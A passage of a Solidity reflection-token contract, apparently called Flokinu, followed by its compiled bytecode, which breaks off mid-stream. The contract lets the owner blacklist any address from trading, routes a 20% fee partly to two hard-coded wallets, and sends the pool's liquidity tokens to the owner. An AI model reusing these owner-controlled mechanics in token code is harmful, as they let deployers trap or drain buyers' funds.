mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
IUniswapV2Router02 private uniswapV2Router;
address[] private _excluded;
address private c;
address private bob;
address private otherguy;
address private uniswapV2Pair;
address private WETH;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee;
uint256 private _LiquidityFee;
uint64 private buyCounter;
uint8 private constant _decimals = 9;
uint16 private maxTx;
bool private tradingOpen;
bool private inSwap;
bool private swapEnabled;
bool private cooldownEnabled;
event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable _bob, address payable _otherguy) {
c = address(this);
bob = _bob;
otherguy = _otherguy;
_rOwned[c] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[c] = true;
_isExcludedFromFee[bob] = true;
_isExcludedFromFee[otherguy] = true;
excludeFromReward(owner());
excludeFromReward(c);
excludeFromReward(bob);
excludeFromReward(otherguy);
emit Transfer(address(0),c,_tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,_msgSender(),_allowances[sender][_msgSender()] - amount);
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns (uint256) {
require(rAmount <= _rTotal,"Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount / currentRate;
}
function nofees() private {
_taxFee = 0;
_LiquidityFee = 0;
}
function basefees() private {
_taxFee = 2;
_LiquidityFee = 18;
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from] && !bots[to]);
basefees();
if (from != owner() && to != owner() && tradingOpen) {
if (cooldownEnabled && !inSwap) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && !inSwap) {
if (buyCounter < 100)
require(amount <= _tTotal * maxTx / 1000);
if (cooldownEnabled) {
require(cooldown[to] < block.timestamp);
if (buyCounter < 30)
cooldown[to] = block.timestamp + (10 minutes);
else
cooldown[to] = block.timestamp + (30 seconds);
}
if (buyCounter % 50 == 0 && buyCounter != 0)
nofees();
buyCounter++;
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from] && !inSwap) {
require(cooldown[from] < block.timestamp);
if (swapEnabled) {
uint256 contractTokenBalance = balanceOf(c);
if (contractTokenBalance > balanceOf(uniswapV2Pair) * 1 / 10000) {
swapAndLiquify(contractTokenBalance);
}
}
}
if (!inSwap) {
if (buyCounter == 25)
maxTx = 20; // 2%
if (buyCounter == 50) {
maxTx = 50; // 5%
cooldownEnabled = false;
}
//if (buyCounter == 100)
// maxTx = 1000; // 100%
//don't need to set max to 100% here to disable it since max stops getting checked after the 100th buy
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to] || inSwap) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
swapTokensForEth(contractTokenBalance);
uint256 balance = c.balance / 2;
sendETHToFee(balance);
IWETH(WETH).deposit{value: balance}();
assert(IWETH(WETH).transfer(uniswapV2Pair, balance));
}
function swapTokensForEth(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = c;
path[1] = WETH;
_approve(c, address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, c, block.timestamp);
}
function sendETHToFee(uint256 ETHamount) private {
payable(bob).transfer(ETHamount / 2);
payable(otherguy).transfer(ETHamount / 2);
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
WETH = uniswapV2Router.WETH();
_approve(c, address(uniswapV2Router), ~uint256(0));
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(c, WETH);
uniswapV2Router.addLiquidityETH{value: c.balance}(c,balanceOf(c),0,0,owner(),block.timestamp);
maxTx = 10; // 1%
IERC20(uniswapV2Pair).approve(address(uniswapV2Router),~uint256(0));
tradingOpen = true;
swapEnabled = true;
cooldownEnabled = true;
}
function manualswap() external {
require(_msgSender() == bob || _msgSender() == otherguy);
uint256 contractBalance = balanceOf(c);
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == bob || _msgSender() == otherguy);
uint256 contractETHBalance = c.balance;
sendETHToFee(contractETHBalance);
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if (!takeFee) nofees();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender] - rAmount;
_tOwned[recipient] = _tOwned[recipient] + tTransferAmount;
_rOwned[recipient] = _rOwned[recipient] + rTransferAmount;
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender] - tAmount;
_rOwned[sender] = _rOwned[sender] - rAmount;
_rOwned[recipient] = _rOwned[recipient] + rTransferAmount;
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender] - tAmount;
_rOwned[sender] = _rOwned[sender] - rAmount;
_tOwned[recipient] = _tOwned[recipient] + tTransferAmount;
_rOwned[recipient] = _rOwned[recipient] + rTransferAmount;
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender] - rAmount;
_rOwned[recipient] = _rOwned[recipient] + rTransferAmount;
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeLiquidity(uint256 tLiquidity) private {
uint256 currentRate = _getRate();
uint256 rLiquidity = tLiquidity * currentRate;
_rOwned[c] = _rOwned[c] + rLiquidity;
_tOwned[c] = _tOwned[c] + tLiquidity;
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal - rFee;
_tFeeTotal = _tFeeTotal + tFee;
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount, _taxFee, _LiquidityFee);
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate());
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 LiquidityFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount * taxFee / 100;
uint256 tLiquidity = tAmount * LiquidityFee / 100;
uint256 tTransferAmount = tAmount - tFee - tLiquidity;
return (tTransferAmount, tFee, tLiquidity);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount * currentRate;
uint256 rFee = tFee * currentRate;
uint256 rLiquidity = tLiquidity * currentRate;
uint256 rTransferAmount = rAmount - rFee - rLiquidity;
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply / tSupply;
}
function excludeFromReward(address addr) internal {
require(addr != address(uniswapV2Router), 'ERR: Can\'t exclude Uniswap router');
require(!_isExcluded[addr], "Account is already excluded");
if(_rOwned[addr] > 0) {
_tOwned[addr] = tokenFromReflection(_rOwned[addr]);
}
_isExcluded[addr] = true;
_excluded.push(addr);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply - _rOwned[_excluded[i]];
tSupply = tSupply - _tOwned[_excluded[i]];
}
if (rSupply < _rTotal / _tTotal) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106100f75760003560e01c8063715018a61161008a578063b515566a11610059578063b515566a14610325578063c3c8cd801461034e578063c9567bf914610365578063dd62ed3e1461037c576100fe565b8063715018a61461027b5780638da5cb5b1461029257806395d89b41146102bd578063a9059cbb146102e8576100fe565b8063273123b7116100c6578063273123b7146101d3578063313ce567146101fc5780636fc3eaec1461022757806370a082311461023e576100fe565b806306fdde0314610103578063095ea7b31461012e57806318160ddd1461016b57806323b872dd14610196576100fe565b366100fe57005b600080fd5b34801561010f57600080fd5b506101186103b9565b6040516101259190613d3d565b60405180910390f35b34801561013a57600080fd5b506101556004803603810190610150919061392a565b6103f6565b6040516101629190613d22565b60405180910390f35b34801561017757600080fd5b50610180610414565b60405161018d9190613e5f565b60405180910390f35b3480156101a257600080fd5b506101bd60048036038101906101b891906138d7565b610423565b6040516101ca9190613d22565b60405180910390f35b3480156101df57600080fd5b506101fa60048036038101906101f5919061383d565b6104db565b005b34801561020857600080fd5b506102116105cb565b60405161021e9190613ed4565b60405180910390f35b34801561023357600080fd5b5061023c6105d4565b005b34801561024a57600080fd5b506102656004803603810190610260919061383d565b6106de565b6040516102729190613e5f565b60405180910390f35b34801561028757600080fd5b506102906107c9565b005b34801561029e57600080fd5b506102a761091c565b6040516102b49190613c54565b60405180910390f35b3480156102c957600080fd5b506102d2610945565b6040516102df9190613d3d565b60405180910390f35b3480156102f457600080fd5b5061030f600480360381019061030a919061392a565b610982565b60405161031c9190613d22565b60405180910390f35b34801561033157600080fd5b5061034c6004803603810190610347919061396a565b6109a0565b005b34801561035a57600080fd5b50610363610aca565b005b34801561037157600080fd5b5061037a610bc5565b005b34801561038857600080fd5b506103a3600480360381019061039e9190613897565b61126d565b6040516103b09190613e5f565b60405180910390f35b60606040518060400160405280600b81526020017f466c6f6b696e75f09f92a8000000000000000000000000000000000000000000815250905090565b600061040a6104036112f4565b84846112fc565b6001905092915050565b600066038d7ea4c68000905090565b60006104308484846114c7565b6104d08461043c6112f4565b84600360008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104866112f4565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546104cb9190614076565b6112fc565b600190509392505050565b6104e36112f4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610570576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056790613d9f565b60405180910390fd5b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166106156112f4565b73ffffffffffffffffffffffffffffffffffffffff16148061068b5750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166106736112f4565b73ffffffffffffffffffffffffffffffffffffffff16145b61069457600080fd5b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163190506106db8161201d565b50565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561077957600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506107c4565b6107c1600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461210a565b90505b919050565b6107d16112f4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461085e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085590613d9f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f464c4f4b494e5500000000000000000000000000000000000000000000000000815250905090565b600061099661098f6112f4565b84846114c7565b6001905092915050565b6109a86112f4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a2c90613d9f565b60405180910390fd5b60005b8151811015610ac657600160046000848481518110610a5a57610a596142c1565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610abe90614189565b915050610a38565b5050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b0b6112f4565b73ffffffffffffffffffffffffffffffffffffffff161480610b815750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b696112f4565b73ffffffffffffffffffffffffffffffffffffffff16145b610b8a57600080fd5b6000610bb7600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166106de565b9050610bc281612171565b50565b610bcd6112f4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190613d9f565b60405180910390fd5b6013600a9054906101000a900460ff1615610caa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca190613e1f565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610d6757600080fd5b505afa158015610d7b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d9f919061386a565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610e30600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000196112fc565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610e9857600080fd5b505afa158015610eac573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ed0919061386a565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518363ffffffff1660e01b8152600401610f4e929190613c6f565b602060405180830381600087803b158015610f6857600080fd5b505af1158015610f7c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fa0919061386a565b600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1631600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166110a6600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166106de565b6000806110b161091c565b426040518863ffffffff1660e01b81526004016110d396959493929190613cc1565b6060604051808303818588803b1580156110ec57600080fd5b505af1158015611100573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061112591906139e0565b505050600a601360086101000a81548161ffff021916908361ffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000196040518363ffffffff1660e01b81526004016111c7929190613c98565b602060405180830381600087803b1580156111e157600080fd5b505af11580156111f5573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061121991906139b3565b5060016013600a6101000a81548160ff02191690831515021790555060016013600c6101000a81548160ff02191690831515021790555060016013600d6101000a81548160ff021916908315150217905550565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561136c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136390613dff565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113d390613d7f565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114ba9190613e5f565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611537576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152e90613ddf565b60405180910390fd5b6000811161157a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157190613dbf565b60405180910390fd5b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561161e5750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61162757600080fd5b61162f6123ac565b61163761091c565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156116a5575061167561091c565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116bd57506013600a9054906101000a900460ff165b15611f43576013600d9054906101000a900460ff1680156116eb57506013600b9054906101000a900460ff16155b15611909573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561175857503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117b25750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561180c5750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561190857600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166118526112f4565b73ffffffffffffffffffffffffffffffffffffffff1614806118c85750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166118b06112f4565b73ffffffffffffffffffffffffffffffffffffffff16145b611907576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118fe90613e3f565b60405180910390fd5b5b5b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119b45750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611a0a5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a2357506013600b9054906101000a900460ff16155b15611c7c576064601360009054906101000a900467ffffffffffffffff1667ffffffffffffffff161015611a92576103e8601360089054906101000a900461ffff1661ffff1666038d7ea4c68000611a7b919061401c565b611a859190613feb565b811115611a9157600080fd5b5b6013600d9054906101000a900460ff1615611bc35742600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611af257600080fd5b601e601360009054906101000a900467ffffffffffffffff1667ffffffffffffffff161015611b715761025842611b299190613f95565b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611bc2565b601e42611b7e9190613f95565b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b60006032601360009054906101000a900467ffffffffffffffff16611be89190614203565b67ffffffffffffffff16148015611c2057506000601360009054906101000a900467ffffffffffffffff1667ffffffffffffffff1614155b15611c2e57611c2d6123bd565b5b6013600081819054906101000a900467ffffffffffffffff1680929190611c54906141d2565b91906101000a81548167ffffffffffffffff021916908367ffffffffffffffff160217905550505b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611d275750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611d7d5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611d9657506013600b9054906101000a900460ff16155b15611e825742600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611de657600080fd5b6013600c9054906101000a900460ff1615611e81576000611e28600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166106de565b90506127106001611e5a600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166106de565b611e64919061401c565b611e6e9190613feb565b811115611e7f57611e7e816123cf565b5b505b5b6013600b9054906101000a900460ff16611f42576019601360009054906101000a900467ffffffffffffffff1667ffffffffffffffff161415611ede576014601360086101000a81548161ffff021916908361ffff1602179055505b6032601360009054906101000a900467ffffffffffffffff1667ffffffffffffffff161415611f41576032601360086101000a81548161ffff021916908361ffff16021790555060006013600d6101000a81548160ff0219169083151502179055505b5b5b600060019050600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611fea5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b8061200157506013600b9054906101000a900460ff165b1561200b57600090505b612017848484846125c6565b50505050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6002836120669190613feb565b9081150290604051600060405180830381858888f19350505050158015612091573d6000803e3d6000fd5b50600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6002836120db9190613feb565b9081150290604051600060405180830381858888f19350505050158015612106573d6000803e3d6000fd5b5050565b6000600f54821115612151576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161214890613d5f565b60405180910390fd5b600061215b61280f565b905080836121699190613feb565b915050919050565b6000600267ffffffffffffffff81111561218e5761218d6142f0565b5b6040519080825280602002602001820160405280156121bc5781602001602082028036833780820191505090505b509050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16816000815181106121f6576121f56142c1565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681600181518110612267576122666142c1565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506122f0600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112fc565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac94783600084600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b8152600401612376959493929190613e7a565b600060405180830381600087803b15801561239057600080fd5b505af11580156123a4573d6000803e3d6000fd5b505050505050565b600260118190555060128081905550565b60006011819055506000601281905550565b60016013600b6101000a81548160ff0219169083151502179055506123f381612171565b60006002600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163161243b9190613feb565b90506124468161201d565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d0e30db0826040518263ffffffff1660e01b81526004016000604051808303818588803b1580156124b057600080fd5b505af11580156124c4573d6000803e3d6000fd5b5050505050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff1660e01b8152600401612548929190613c98565b602060405180830381600087803b15801561256257600080fd5b505af1158015612576573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061259a91906139b3565b6125a7576125a6614234565b5b5060006013600b6101000a81548160ff02191690831515021790555050565b806125d4576125d36123bd565b5b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156126775750600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561268c57612687848484612833565b612809565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561272f5750600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156127445761273f848484612a7e565b612808565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156127e65750600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156127fb576127f6848484612cc9565b612807565b612806848484612fa2565b5b5b5b50505050565b600080600061281c61315f565b91509150808261282c9190613feb565b9250505090565b60008060008060008061284587613411565b95509550955095509550955086600260008b